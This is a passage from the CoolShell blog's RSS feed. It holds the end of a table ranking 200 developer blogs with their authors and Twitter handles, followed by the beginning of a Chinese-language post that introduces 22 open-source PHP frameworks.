valign=\"top\"><a href=\"http://twitter.com/keithb_b\">keithb_b</a></td>\n</tr>\n<tr>\n<td align=\"center\" valign=\"top\"><strong>142</strong></td>\n<td align=\"center\" valign=\"top\">161</td>\n<td valign=\"top\"><a href=\"http://www.netobjectives.com/blog\">NetObjectives</a></td>\n<td valign=\"top\">(various)</td>\n<td valign=\"top\"> </td>\n</tr>\n<tr>\n<td align=\"center\" valign=\"top\"><strong>143</strong></td>\n<td align=\"center\" valign=\"top\">&#8212;</td>\n<td valign=\"top\"><a href=\"http://techdistrict.kirkk.com/\">@Kirkk.com</a></td>\n<td valign=\"top\">Kirk Knoernschild</td>\n<td valign=\"top\"><a href=\"http://www.twitter.com/pragkirk\">pragkirk</a></td>\n</tr>\n<tr>\n<td align=\"center\" valign=\"top\"><strong>144</strong></td>\n<td align=\"center\" valign=\"top\">155</td>\n<td valign=\"top\"><a href=\"http://blog.8thlight.com/\">8th Light Blog</a></td>\n<td valign=\"top\">(various)</td>\n<td valign=\"top\"> </td>\n</tr>\n<tr>\n<td align=\"center\" valign=\"top\"><strong>145</strong></td>\n<td align=\"center\" valign=\"top\">153</td>\n<td valign=\"top\"><a href=\"http://blogs.msdn.com/steverowe/\">Steve Rowe&#8217;s Blog</a></td>\n<td valign=\"top\">Steve Rowe</td>\n<td valign=\"top\"><a href=\"http://twitter.com/steve_rowe\">steve_rowe</a></td>\n</tr>\n<tr>\n<td align=\"center\" valign=\"top\"><strong>146</strong></td>\n<td align=\"center\" valign=\"top\">97</td>\n<td valign=\"top\"><a href=\"http://silkandspinach.net/\">Silk and Spinach</a></td>\n<td valign=\"top\">Kevin Rutherford</td>\n<td valign=\"top\"><a href=\"http://twitter.com/kevinrutherford\">kevinrutherford</a></td>\n</tr>\n<tr>\n<td align=\"center\" valign=\"top\"><strong>147</strong></td>\n<td align=\"center\" valign=\"top\">138</td>\n<td valign=\"top\"><a href=\"http://pierg.wordpress.com/\">PierG</a></td>\n<td valign=\"top\">Piergiorgio Grossi</td>\n<td valign=\"top\"><a href=\"http://twitter.com/pierg\">pierg</a></td>\n</tr>\n<tr>\n<td align=\"center\" valign=\"top\"><strong>148</strong></td>\n<td align=\"center\" valign=\"top\">151</td>\n<td valign=\"top\"><a href=\"http://swizec.com/\">Cthulhu and Other Crazies</a></td>\n<td valign=\"top\">Swizec</td>\n<td valign=\"top\"><a href=\"http://twitter.com/swizec\">swizec</a></td>\n</tr>\n<tr>\n<td align=\"center\" valign=\"top\"><strong>149</strong></td>\n<td align=\"center\" valign=\"top\">152</td>\n<td valign=\"top\"><a href=\"http://www.m3p.co.uk/blog\">Steve Freeman</a></td>\n<td valign=\"top\">Steve Freeman</td>\n<td valign=\"top\"> </td>\n</tr>\n<tr>\n<td align=\"center\" valign=\"top\"><strong>150</strong></td>\n<td align=\"center\" valign=\"top\">176</td>\n<td valign=\"top\"><a href=\"http://me.andering.com/\">Me.Andering</a></td>\n<td valign=\"top\">Willem van den Ende</td>\n<td valign=\"top\"><a href=\"http://twitter.com/most_alive\">most_alive</a></td>\n</tr>\n<tr>\n<td align=\"center\" valign=\"top\"><strong>151</strong></td>\n<td align=\"center\" valign=\"top\">159</td>\n<td valign=\"top\"><a href=\"http://blog.fedecarg.com/\">fede.carg ( blog )</a></td>\n<td valign=\"top\">Federico Cargnelutti</td>\n<td valign=\"top\"><a href=\"http://twitter.com/fedecarg\">fedecarg</a></td>\n</tr>\n<tr>\n<td align=\"center\" valign=\"top\"><strong>152</strong></td>\n<td align=\"center\" valign=\"top\">174</td>\n<td valign=\"top\"><a href=\"http://edgibbs.com/\">Musings of a Software Development Manager</a></td>\n<td valign=\"top\">Ed Gibbs</td>\n<td valign=\"top\"> </td>\n</tr>\n<tr>\n<td align=\"center\" valign=\"top\"><strong>153</strong></td>\n<td align=\"center\" valign=\"top\">147</td>\n<td valign=\"top\"><a href=\"http://requirements.seilevel.com/blog/\">Requirements Defined</a></td>\n<td valign=\"top\">(various)</td>\n<td valign=\"top\"><a href=\"http://twitter.com/seilevel\">seilevel</a></td>\n</tr>\n<tr>\n<td align=\"center\" valign=\"top\"><strong>154</strong></td>\n<td align=\"center\" valign=\"top\">112</td>\n<td valign=\"top\"><a href=\"http://agilethinking.net/blog/\">Agile Thoughts</a></td>\n<td valign=\"top\">Tobias Mayer</td>\n<td valign=\"top\"><a href=\"http://twitter.com/tobiasgmayer\">tobiasgmayer</a></td>\n</tr>\n<tr>\n<td align=\"center\" valign=\"top\"><strong>155</strong></td>\n<td align=\"center\" valign=\"top\">163</td>\n<td valign=\"top\"><a href=\"http://chrissterling.gettingagile.com/\">Chris Sterling’s Blog</a></td>\n<td valign=\"top\">Chris Sterling</td>\n<td valign=\"top\"><a href=\"http://twitter.com/csterwa\">csterwa</a></td>\n</tr>\n<tr>\n<td align=\"center\" valign=\"top\"><strong>156</strong></td>\n<td align=\"center\" valign=\"top\">190</td>\n<td valign=\"top\"><a href=\"http://www.agileinaction.com/\">Agile in Action</a></td>\n<td valign=\"top\">Simon Baker</td>\n<td valign=\"top\"><a href=\"http://twitter.com/energizr\">energizr</a></td>\n</tr>\n<tr>\n<td align=\"center\" valign=\"top\"><strong>157</strong></td>\n<td align=\"center\" valign=\"top\">103</td>\n<td valign=\"top\"><a href=\"http://www.sunpig.com/martin/\">Legends of the Sun Pig</a></td>\n<td valign=\"top\">Martin Sutherland</td>\n<td valign=\"top\"><a href=\"http://twitter.com/sunpig\">sunpig</a></td>\n</tr>\n<tr>\n<td align=\"center\" valign=\"top\"><strong>158</strong></td>\n<td align=\"center\" valign=\"top\">134</td>\n<td valign=\"top\"><a href=\"http://blog.gdinwiddie.com/\">George Dinwiddie&#8217;s Blog</a></td>\n<td valign=\"top\">George Dinwiddie</td>\n<td valign=\"top\"><a href=\"http://twitter.com/gdinwiddie\">gdinwiddie</a></td>\n</tr>\n<tr>\n<td align=\"center\" valign=\"top\"><strong>159</strong></td>\n<td align=\"center\" valign=\"top\">&#8212;</td>\n<td valign=\"top\"><a href=\"http://manicprogrammer.com/cs/blogs/willeke/\">Rediscovering the Obvious</a></td>\n<td valign=\"top\">Willeke</td>\n<td valign=\"top\"><a href=\"http://twitter.com/erwilleke\">erwilleke</a></td>\n</tr>\n<tr>\n<td align=\"center\" valign=\"top\"><strong>160</strong></td>\n<td align=\"center\" valign=\"top\">141</td>\n<td valign=\"top\"><a href=\"http://agileartisans.com/\">Agile Artisans</a></td>\n<td valign=\"top\">Jared Richardson</td>\n<td valign=\"top\"><a href=\"http://twitter.com/jaredrichardson\">jaredrichardson</a></td>\n</tr>\n<tr>\n<td align=\"center\" valign=\"top\"><strong>161</strong></td>\n<td align=\"center\" valign=\"top\">&#8212;</td>\n<td valign=\"top\"><a href=\"http://lithespeed.blogspot.com/\">LitheSpeed&#8217;s LitheBlog</a></td>\n<td valign=\"top\">(various)</td>\n<td valign=\"top\"> </td>\n</tr>\n<tr>\n<td align=\"center\" valign=\"top\"><strong>162</strong></td>\n<td align=\"center\" valign=\"top\">177</td>\n<td valign=\"top\"><a href=\"http://www.intergen.co.nz/Blog/\">Intergen Blog</a></td>\n<td valign=\"top\">(various)</td>\n<td valign=\"top\"><a href=\"http://www.twitter.com/teamintergen\">teamintergen</a></td>\n</tr>\n<tr>\n<td align=\"center\" valign=\"top\"><strong>163</strong></td>\n<td align=\"center\" valign=\"top\">123</td>\n<td valign=\"top\"><a href=\"http://shrinik.blogspot.com/\">Thinking Tester</a></td>\n<td valign=\"top\">Shrini Kulkarni</td>\n<td valign=\"top\"><a href=\"http://twitter.com/shrinik\">shrinik</a></td>\n</tr>\n<tr>\n<td align=\"center\" valign=\"top\"><strong>164</strong></td>\n<td align=\"center\" valign=\"top\">&#8212;</td>\n<td valign=\"top\"><a href=\"http://www.futureworksconsulting.com/blog/\">Partnership &amp; Possibilities</a></td>\n<td valign=\"top\">Diana Larsen</td>\n<td valign=\"top\"><a href=\"http://twitter.com/dianaofportland\">dianaofportland</a></td>\n</tr>\n<tr>\n<td align=\"center\" valign=\"top\"><strong>165</strong></td>\n<td align=\"center\" valign=\"top\">&#8212;</td>\n<td valign=\"top\"><a href=\"http://agileconsortium.blogspot.com/\">Agile &amp; Business</a></td>\n<td valign=\"top\">Joe Little</td>\n<td valign=\"top\"><a href=\"http://twitter.com/jhlittle\">jhlittle</a></td>\n</tr>\n<tr>\n<td align=\"center\" valign=\"top\"><strong>166</strong></td>\n<td align=\"center\" valign=\"top\">191</td>\n<td valign=\"top\"><a href=\"http://ctotodevelopers.blogspot.com/\">On Software Development, Agile, Startups, and Social Networking</a></td>\n<td valign=\"top\">Isaac Sacolick</td>\n<td valign=\"top\"><a href=\"http://twitter.com/nyike\">nyike</a></td>\n</tr>\n<tr>\n<td align=\"center\" valign=\"top\"><strong>167</strong></td>\n<td align=\"center\" valign=\"top\">127</td>\n<td valign=\"top\"><a href=\"http://jonathanbabcock.com/\">Jonathan Babcock</a></td>\n<td valign=\"top\">Jonathan Babcock</td>\n<td valign=\"top\"><a href=\"http://twitter.com/jonbab1\">jonbab1</a></td>\n</tr>\n<tr>\n<td align=\"center\" valign=\"top\"><strong>168</strong></td>\n<td align=\"center\" valign=\"top\">154</td>\n<td valign=\"top\"><a href=\"http://www.agilegamedevelopment.com/blog.html\">Agile Game Development</a></td>\n<td valign=\"top\">Clinton Keith</td>\n<td valign=\"top\"> </td>\n</tr>\n<tr>\n<td align=\"center\" valign=\"top\"><strong>169</strong></td>\n<td align=\"center\" valign=\"top\">&#8212;</td>\n<td valign=\"top\"><a href=\"http://blog.robbowley.net/\">Rob Bowley</a></td>\n<td valign=\"top\">Rob Bowley</td>\n<td valign=\"top\"><a href=\"http://twitter.com/robbowley\">robbowley</a></td>\n</tr>\n<tr>\n<td align=\"center\" valign=\"top\"><strong>170</strong></td>\n<td align=\"center\" valign=\"top\">131</td>\n<td valign=\"top\"><a href=\"http://cauvin.blogspot.com/\">Cauvin</a></td>\n<td valign=\"top\">Roger L. Cauvin</td>\n<td valign=\"top\"><a href=\"http://twitter.com/rcauvin\">rcauvin</a></td>\n</tr>\n<tr>\n<td align=\"center\" valign=\"top\"><strong>171</strong></td>\n<td align=\"center\" valign=\"top\">193</td>\n<td valign=\"top\"><a href=\"http://weblogs.asp.net/wallen/\">Wayne Allen&#8217;s Weblog</a></td>\n<td valign=\"top\">Wayne Allen</td>\n<td valign=\"top\"> </td>\n</tr>\n<tr>\n<td align=\"center\" valign=\"top\"><strong>172</strong></td>\n<td align=\"center\" valign=\"top\">180</td>\n<td valign=\"top\"><a href=\"http://chrismcmahonsblog.blogspot.com/\">Chris McMahon&#8217;s Blog</a></td>\n<td valign=\"top\">Chris McMahon</td>\n<td valign=\"top\"><a href=\"http://twitter.com/cmcmahon\">cmcmahon</a></td>\n</tr>\n<tr>\n<td align=\"center\" valign=\"top\"><strong>173</strong></td>\n<td align=\"center\" valign=\"top\">181</td>\n<td valign=\"top\"><a href=\"http://itscommonsensestupid.blogspot.com/\">It&#8217;s Common Sense, Stupid</a></td>\n<td valign=\"top\">Soon Hui Ngu</td>\n<td valign=\"top\"> </td>\n</tr>\n<tr>\n<td align=\"center\" valign=\"top\"><strong>174</strong></td>\n<td align=\"center\" valign=\"top\">&#8212;</td>\n<td valign=\"top\"><a href=\"http://www.sanderhoogendoorn.com/\">Sander Hoogendoorn</a></td>\n<td valign=\"top\">Sander Hoogendoorn</td>\n<td valign=\"top\"><a href=\"http://twitter.com/aahoogendoorn\">aahoogendoorn</a></td>\n</tr>\n<tr>\n<td align=\"center\" valign=\"top\"><strong>175</strong></td>\n<td align=\"center\" valign=\"top\">136</td>\n<td valign=\"top\"><a href=\"http://www.jcooney.net/\">Jcooney.NET</a></td>\n<td valign=\"top\">Joseph Cooney</td>\n<td valign=\"top\"><a href=\"http://twitter.com/josephcooney\">josephcooney</a></td>\n</tr>\n<tr>\n<td align=\"center\" valign=\"top\"><strong>176</strong></td>\n<td align=\"center\" valign=\"top\">&#8212;</td>\n<td valign=\"top\"><a href=\"http://blog.mattwynne.net/\">Tea-Driven Development</a></td>\n<td valign=\"top\">Matt Wynne</td>\n<td valign=\"top\"> </td>\n</tr>\n<tr>\n<td align=\"center\" valign=\"top\"><strong>177</strong></td>\n<td align=\"center\" valign=\"top\">120</td>\n<td valign=\"top\"><a href=\"http://www.ytechie.com/\">Ytechie</a></td>\n<td valign=\"top\">Jason Young</td>\n<td valign=\"top\"><a href=\"http://twitter.com/ytechie\">ytechie</a></td>\n</tr>\n<tr>\n<td align=\"center\" valign=\"top\"><strong>178</strong></td>\n<td align=\"center\" valign=\"top\">162</td>\n<td valign=\"top\"><a href=\"http://jimmynilsson.com/blog/\">Jimmy Nilsson&#8217;s Blog</a></td>\n<td valign=\"top\">Jimmy Nilsson</td>\n<td valign=\"top\"><a href=\"http://twitter.com/jimmynilsson\">jimmynilsson</a></td>\n</tr>\n<tr>\n<td align=\"center\" valign=\"top\"><strong>179</strong></td>\n<td align=\"center\" valign=\"top\">106</td>\n<td valign=\"top\"><a href=\"http://www.agilecmmi.com/\">Agile CMMI Blog</a></td>\n<td valign=\"top\">Hillel Glazer</td>\n<td valign=\"top\"><a href=\"http://twitter.com/hi11e1\">hi11e1</a></td>\n</tr>\n<tr>\n<td align=\"center\" valign=\"top\"><strong>180</strong></td>\n<td align=\"center\" valign=\"top\">183</td>\n<td valign=\"top\"><a href=\"http://www.renaissancesoftware.net/blog/\">James Grenning’s Blog</a></td>\n<td valign=\"top\">James Grenning</td>\n<td valign=\"top\"><a href=\"http://twitter.com/jwgrenning\">jwgrenning</a></td>\n</tr>\n<tr>\n<td align=\"center\" valign=\"top\"><strong>181</strong></td>\n<td align=\"center\" valign=\"top\">186</td>\n<td valign=\"top\"><a href=\"http://runningagile.com/\">Running Agile</a></td>\n<td valign=\"top\">Christophe Louvion</td>\n<td valign=\"top\"> </td>\n</tr>\n<tr>\n<td align=\"center\" valign=\"top\"><strong>182</strong></td>\n<td align=\"center\" valign=\"top\">170</td>\n<td valign=\"top\"><a href=\"http://www.wirfs-brock.com/rebeccasblog.html\">Rebecca&#8217;s Blog</a></td>\n<td valign=\"top\">Rebecca Wirfs-Brock</td>\n<td valign=\"top\"> </td>\n</tr>\n<tr>\n<td align=\"center\" valign=\"top\"><strong>183</strong></td>\n<td align=\"center\" valign=\"top\">169</td>\n<td valign=\"top\"><a href=\"http://www.spreetree.net/blog/\">Engineering Game Development</a></td>\n<td valign=\"top\">Lee Winder</td>\n<td valign=\"top\"><a href=\"http://twitter.com/spreetree\">spreetree</a></td>\n</tr>\n<tr>\n<td align=\"center\" valign=\"top\"><strong>184</strong></td>\n<td align=\"center\" valign=\"top\">198</td>\n<td valign=\"top\"><a href=\"http://simplearchitectures.blogspot.com/\">Simple Architectures for Complex Enterprises</a></td>\n<td valign=\"top\">Roger Sessions</td>\n<td valign=\"top\"><a href=\"http://twitter.com/rsessions\">rsessions</a></td>\n</tr>\n<tr>\n<td align=\"center\" valign=\"top\"><strong>185</strong></td>\n<td align=\"center\" valign=\"top\">133</td>\n<td valign=\"top\"><a href=\"http://bartoszmilewski.wordpress.com/\">Bartosz Milewski&#8217;s Programming Cafe</a></td>\n<td valign=\"top\">Bartosz Milewski</td>\n<td valign=\"top\"><a href=\"http://twitter.com/BartoszMilewski\">BartoszMilewski</a></td>\n</tr>\n<tr>\n<td align=\"center\" valign=\"top\"><strong>186</strong></td>\n<td align=\"center\" valign=\"top\">&#8212;</td>\n<td valign=\"top\"><a href=\"http://ivarjacobson.wordpress.com/\">Ivar Jacobson&#8217;s Blog</a></td>\n<td valign=\"top\">Ivar Jacobson</td>\n<td valign=\"top\"><a href=\"http://twitter.com/ivarjacobson\">ivarjacobson</a></td>\n</tr>\n<tr>\n<td align=\"center\" valign=\"top\"><strong>187</strong></td>\n<td align=\"center\" valign=\"top\">165</td>\n<td valign=\"top\"><a href=\"http://enterprisearchitect.typepad.com/ea/\">Technology Architecture &amp; Projects</a></td>\n<td valign=\"top\">Robert McIlree</td>\n<td valign=\"top\"><a href=\"http://twitter.com/rmcilree\">rmcilree</a></td>\n</tr>\n<tr>\n<td align=\"center\" valign=\"top\"><strong>188</strong></td>\n<td align=\"center\" valign=\"top\">&#8212;</td>\n<td valign=\"top\"><a href=\"http://drunkenpm.blogspot.com/\">DrunkenPM</a></td>\n<td valign=\"top\">Dave Prior</td>\n<td valign=\"top\"><a href=\"http://twitter.com/mrsungo\">mrsungo</a></td>\n</tr>\n<tr>\n<td align=\"center\" valign=\"top\"><strong>189</strong></td>\n<td align=\"center\" valign=\"top\">&#8212;</td>\n<td valign=\"top\"><a href=\"http://www.softwaresweatshop.com/\">Software Sweatshop</a></td>\n<td valign=\"top\">Raza Imam</td>\n<td valign=\"top\"> </td>\n</tr>\n<tr>\n<td align=\"center\" valign=\"top\"><strong>190</strong></td>\n<td align=\"center\" valign=\"top\">&#8212;</td>\n<td valign=\"top\"><a href=\"http://falkayn.blogspot.com/\">Falkayn&#8217;s Nest</a></td>\n<td valign=\"top\">Angus McDonald</td>\n<td valign=\"top\"><a href=\"http://twitter.com/falkayn\">falkayn</a></td>\n</tr>\n<tr>\n<td align=\"center\" valign=\"top\"><strong>191</strong></td>\n<td align=\"center\" valign=\"top\">84</td>\n<td valign=\"top\"><a href=\"http://grok-code.com/\">GrokCode</a></td>\n<td valign=\"top\">Jess</td>\n<td valign=\"top\"><a href=\"http://twitter.com/grokcode\">grokcode</a></td>\n</tr>\n<tr>\n<td align=\"center\" valign=\"top\"><strong>192</strong></td>\n<td align=\"center\" valign=\"top\">122</td>\n<td valign=\"top\"><a href=\"http://hicks-wright.net/\">Hicks-Wright.net</a></td>\n<td valign=\"top\">Tyler Griffin Hicks-Wright</td>\n<td valign=\"top\"> </td>\n</tr>\n<tr>\n<td align=\"center\" valign=\"top\"><strong>193</strong></td>\n<td align=\"center\" valign=\"top\">167</td>\n<td valign=\"top\"><a href=\"http://andrewtokeley.net/\">Andrew Tokeley</a></td>\n<td valign=\"top\">Andrew Tokeley</td>\n<td valign=\"top\"> </td>\n</tr>\n<tr>\n<td align=\"center\" valign=\"top\"><strong>194</strong></td>\n<td align=\"center\" valign=\"top\">157</td>\n<td valign=\"top\"><a href=\"http://damonpoole.blogspot.com/\">Agile Development Thoughts</a></td>\n<td valign=\"top\">Damon Poole</td>\n<td valign=\"top\"><a href=\"http://twitter.com/damonpoole\">damonpoole</a></td>\n</tr>\n<tr>\n<td align=\"center\" valign=\"top\"><strong>195</strong></td>\n<td align=\"center\" valign=\"top\">179</td>\n<td valign=\"top\"><a href=\"http://mult.ifario.us/a\">Mult.ifario.us</a></td>\n<td valign=\"top\">Paul R. Brown</td>\n<td valign=\"top\"><a href=\"http://twitter.com/paulrbrown\">paulrbrown</a></td>\n</tr>\n<tr>\n<td align=\"center\" valign=\"top\"><strong>196</strong></td>\n<td align=\"center\" valign=\"top\">&#8212;</td>\n<td valign=\"top\"><a href=\"http://mattorama.net/blog/\">Matt O’ Rama</a></td>\n<td valign=\"top\">Matt Grommes</td>\n<td valign=\"top\"><a href=\"http://twitter.com/mattgrommes\">mattgrommes</a></td>\n</tr>\n<tr>\n<td align=\"center\" valign=\"top\"><strong>197</strong></td>\n<td align=\"center\" valign=\"top\">194</td>\n<td valign=\"top\"><a href=\"http://www.daveliebreich.com/blog/\">A Test Guy</a></td>\n<td valign=\"top\">Dave Liebreich</td>\n<td valign=\"top\"><a href=\"http://twitter.com/atestguy\">atestguy</a></td>\n</tr>\n<tr>\n<td align=\"center\" valign=\"top\"><strong>198</strong></td>\n<td align=\"center\" valign=\"top\">150</td>\n<td valign=\"top\"><a href=\"http://www.richarddurnall.com/\">Richard Durnall</a></td>\n<td valign=\"top\">Richard Durnall</td>\n<td valign=\"top\"> </td>\n</tr>\n<tr>\n<td align=\"center\" valign=\"top\"><strong>199</strong></td>\n<td align=\"center\" valign=\"top\">&#8212;</td>\n<td valign=\"top\"><a href=\"http://www.pols.co.uk/blog/\">Pols Consulting</a></td>\n<td valign=\"top\">Andy Pols</td>\n<td valign=\"top\"><a href=\"http://twitter.com/andy_pols\">andy_pols</a></td>\n</tr>\n<tr>\n<td align=\"center\" valign=\"top\"><strong>200</strong></td>\n<td align=\"center\" valign=\"top\">&#8212;</td>\n<td valign=\"top\"><a href=\"http://agileleadership.blogspot.com/\">On Agile Leadership</a></td>\n<td valign=\"top\">Manfred Lange</td>\n<td valign=\"top\"> </td>\n</tr>\n</tbody>\n</table>\n<p><!--\n\n\n\n<p align=\"center\"><a href= target=_blank><img decoding=\"async\" src=\"\"></a></p>\n\n\n\n\n\n<p align=\"center\"><img decoding=\"async\" src=\"https://coolshell.cn/wp-content/uploads/2020/03/coolshell.weixin.jpg\"> <img decoding=\"async\" loading=\"lazy\" src=\"https://coolshell.cn/wp-content/uploads/2020/03/coolshell.mini_.jpg\" width=\"300\" height=\"300\"> <br />关注CoolShell微信公众账号和微信小程序</p>\n\n \n\n--></p>\n<div style=\"margin-top: 15px; font-size: 16px;color: #cc0000;\">\n<p align=\"center\"><strong>（转载本站文章请注明作者和出处 <a href=\"https://coolshell.cn/\">酷 壳 &#8211; CoolShell</a> ，请勿用于任何商业用途）</strong></p>\n</div>\n\n<div class=\"wp_rp_wrap  wp_rp_vertical_m\" ><div class=\"wp_rp_content\"><h3 class=\"related_post_title\">相关文章</h3><ul class=\"related_post wp_rp\"><li ><a href=\"https://coolshell.cn/articles/17391.html\" class=\"wp_rp_thumbnail\"><img src=\"https://coolshell.cn/wp-content/uploads/2016/07/Community-150x150.jpg\" alt=\"为什么我不在微信公众号上写文章\" width=\"150\" height=\"150\" /></a><a href=\"https://coolshell.cn/articles/17391.html\" class=\"wp_rp_title\">为什么我不在微信公众号上写文章</a></li><li ><a href=\"https://coolshell.cn/articles/8031.html\" class=\"wp_rp_thumbnail\"><img src=\"https://coolshell.cn/wp-content/plugins/wordpress-23-related-posts-plugin/static/thumbs/29.jpg\" alt=\"InfoQ的ArchSummit大会对我的采访\" width=\"150\" height=\"150\" /></a><a href=\"https://coolshell.cn/articles/8031.html\" class=\"wp_rp_title\">InfoQ的ArchSummit大会对我的采访</a></li><li ><a href=\"https://coolshell.cn/articles/3961.html\" class=\"wp_rp_thumbnail\"><img src=\"https://coolshell.cn/wp-content/plugins/wordpress-23-related-posts-plugin/static/thumbs/21.jpg\" alt=\"“火柴棍式”程序员面试题\" width=\"150\" height=\"150\" /></a><a href=\"https://coolshell.cn/articles/3961.html\" class=\"wp_rp_title\">“火柴棍式”程序员面试题</a></li><li ><a href=\"https://coolshell.cn/articles/1626.html\" class=\"wp_rp_thumbnail\"><img src=\"https://coolshell.cn/wp-content/plugins/wordpress-23-related-posts-plugin/static/thumbs/14.jpg\" alt=\"ldd 的一个安全问题\" width=\"150\" height=\"150\" /></a><a href=\"https://coolshell.cn/articles/1626.html\" class=\"wp_rp_title\">ldd 的一个安全问题</a></li><li ><a href=\"https://coolshell.cn/articles/9308.html\" class=\"wp_rp_thumbnail\"><img src=\"https://coolshell.cn/wp-content/uploads/2013/03/01-1-150x150.png\" alt=\"“作环保的程序员，从不用百度开始”\" width=\"150\" height=\"150\" /></a><a href=\"https://coolshell.cn/articles/9308.html\" class=\"wp_rp_title\">“作环保的程序员，从不用百度开始”</a></li><li ><a href=\"https://coolshell.cn/articles/410.html\" class=\"wp_rp_thumbnail\"><img src=\"https://coolshell.cn/wp-content/uploads/2009/04/1gb-computer-memory-150x150.jpg\" alt=\"1980年和2009年的1GB电脑内存的比较\" width=\"150\" height=\"150\" /></a><a href=\"https://coolshell.cn/articles/410.html\" class=\"wp_rp_title\">1980年和2009年的1GB电脑内存的比较</a></li></ul></div></div>The post <a href=\"https://coolshell.cn/articles/1092.html\">Top 200的全球开发者BLOG</a> first appeared on <a href=\"https://coolshell.cn\">酷 壳 - CoolShell</a>.]]></content:encoded>\n\t\t\t\t\t\n\t\t\t\t\t<wfw:commentRss>https://coolshell.cn/articles/1092.html/feed</wfw:commentRss>\n\t\t\t<slash:comments>5</slash:comments>\n\t\t\n\t\t\n\t\t\t</item>\n\t\t<item>\n\t\t<title>22个开源的PHP框架</title>\n\t\t<link>https://coolshell.cn/articles/1086.html</link>\n\t\t\t\t\t<comments>https://coolshell.cn/articles/1086.html#comments</comments>\n\t\t\n\t\t<dc:creator><![CDATA[陈皓]]></dc:creator>\n\t\t<pubDate>Thu, 25 Jun 2009 03:57:39 +0000</pubDate>\n\t\t\t\t<category><![CDATA[PHP脚本]]></category>\n\t\t<category><![CDATA[Web开发]]></category>\n\t\t<category><![CDATA[杂项资源]]></category>\n\t\t<category><![CDATA[编程语言]]></category>\n\t\t<category><![CDATA[PHP]]></category>\n\t\t<guid isPermaLink=\"false\">http://coolshell.cn/?p=1086</guid>\n\n\t\t\t\t\t<description><![CDATA[<p>PHP 是一个被广泛使用的来进行Web开发的脚本语言。虽然有很多其它可供选择的Web开发语言，像：ASP 和Ruby，但是PHP是目前为止世界上最为流行的。 那...</p>\n<p class=\"read-more\"><a class=\"btn btn-default\" href=\"https://coolshell.cn/articles/1086.html\"> Read More<span class=\"screen-reader-text\">  Read More</span></a></p>\nThe post <a href=\"https://coolshell.cn/articles/1086.html\">22个开源的PHP框架</a> first appeared on <a href=\"https://coolshell.cn\">酷 壳 - CoolShell</a>.]]></description>\n\t\t\t\t\t\t\t\t\t\t<content:encoded><![CDATA[<p><script async src=\"https://pagead2.googlesyndication.com/pagead/js/adsbygoogle.js?client=ca-pub-3415450859608158\"\n     crossorigin=\"anonymous\"></script>PHP 是一个被广泛使用的来进行Web开发的脚本语言。虽然有很多其它可供选择的Web开发语言，像：ASP 和Ruby，但是PHP是目前为止世界上最为流行的。</p>\n<p>那么，是什么让PHP如此流行？PHP 如此之流行是因为比起别的语言来，它更容易学习，网上有一大堆相当相当不错的PHP教程可以让你快速地马上就可以进行Web程序的开发。虽然PHP是是简单的，而且是容易上手的，但用它编程还是有点麻烦，尤其是一些反复在用的功能。不过，幸运的是，很多开发团队早就注意到了这点，现在在网上，PHP有许多的可以信任的PHP Framework 可以缩短我们的开发时间。这些框架被一个巨大的社区所支持，因些，如果你有什么问题的话，一定会有人乐意帮你去解决。</p>\n<p>废话少说，让我们来看看这22个PHP的框架。</p>\n<p><span id=\"more-1086\"></span></p>\n<h2>迄今最有前途的框架</h2>\n<h3>1. <a title=\"Zend Framework\" href=\"http://framework.zend.com/\" target=\"_blank\">Zend Framework</a></h3>\n<p><img decoding=\"async\" loading=\"lazy\" title=\"zend-framework\" src=\"http://www.webdesignbooth.com/wp-content/uploads/2009/06/zend-framework.png\" alt=\"zend-framework\" width=\"500\" height=\"115\" /><br />\nZend Framework 是一个面向对象的，由PHP5写成的框架。其基于一个简洁和友好的许可证协议，并基于了一个经过了相当严酷测试的代码库开发而来。这是一个松散的几乎没有耦合架构设计，你可以方便地把其和其它框架混合使用。</p>\n<h3>2. <a title=\"Symfony\" href=\"http://www.symfony-project.org/\" target=\"_blank\">Symfony</a></h3>\n<p><img decoding=\"async\" loading=\"lazy\" title=\"symfony\" src=\"http://www.webdesignbooth.com/wp-content/uploads/2009/06/symfony.png\" alt=\"symfony\" width=\"500\" height=\"90\" /><br />\nSymfony 是一个基于PHP 5 的框架，其提供了一个架构，组件和工具集，可以让你更快地创造你的应用。在其官网上提供了一些入门教程。</p>\n<p><span id=\"more-575\"> </span></p>\n<h3>3. <a title=\"CodeIgniter\" href=\"http://codeigniter.com/\" target=\"_blank\">CodeIgniter</a></h3>\n<p><img decoding=\"async\" loading=\"lazy\" title=\"codeigniter\" src=\"http://www.webdesignbooth.com/wp-content/uploads/2009/06/codeigniter.png\" alt=\"codeigniter\" width=\"500\" height=\"123\" /><br />\nCodeIgniter 这个框架有一个wiki可以让你容易的查找相关的文档。其支持的是PHP4。</p>\n<h3>4. <a title=\"CakePHP\" href=\"http://cakephp.org/\" target=\"_blank\">CakePHP</a></h3>\n<p><img decoding=\"async\" loading=\"lazy\" title=\"cakephp\" src=\"http://www.webdesignbooth.com/wp-content/uploads/2009/06/cakephp.png\" alt=\"cakephp\" width=\"500\" height=\"108\" /><br />\n这个框架使用了一些流行的设计模式比如： MVC  和ORM  ， CakePHP 可以有效地减少开发成本和帮助开发人员少写代码。</p>\n<h3>5. <a title=\"Prado PHP Framework\" href=\"http://www.xisc.com/\" target=\"_blank\">Prado</a></h3>\n<p><img decoding=\"async\" loading=\"lazy\" title=\"prado\" src=\"http://www.webdesignbooth.com/wp-content/uploads/2009/06/prado.png\" alt=\"prado\" width=\"500\" height=\"56\" /></p>\n<p>Prado 需要PHP5 及以上版本才能运行，这是基于组件和事件驱动编程的一个程序框架。</p>\n<h3>6. <a title=\"Kohana\" href=\"http://www.kohanaphp.com/\" target=\"_blank\">Kohana</a></h3>\n<p><img decoding=\"async\" loading=\"lazy\" title=\"kohana\" src=\"http://www.webdesignbooth.com/wp-content/uploads/2009/06/kohana.png\" alt=\"kohana\" width=\"500\" height=\"135\" /><br />\nKohana 是一个基于 PHP 5 的框架，其也是使用MVC—— Model View Controller 架构模式。其面对的是安全，轻量级，和易用性。由于Kohana 原来基于 CodeIgniter开发，因为其限制了PHP5 的OOP能力，所以这个框架更合适用在一些中小型的应用。</p>\n<h3>7. <a title=\"Solar Framework\" href=\"http://solarphp.com/\" target=\"_blank\">Solar Framework</a></h3>\n<p><img decoding=\"async\" loading=\"lazy\" title=\"solar\" src=\"http://www.webdesignbooth.com/wp-content/uploads/2009/06/solar.png\" alt=\"solar\" width=\"500\" height=\"141\" /><br />\nSolar 是一个 PHP 5 的框架，其可以用做企业级的应用，而且有内建的语言集和配置。</p>\n<h3>8. <a title=\"Fuse\" href=\"http://www.phpfuse.net/\" 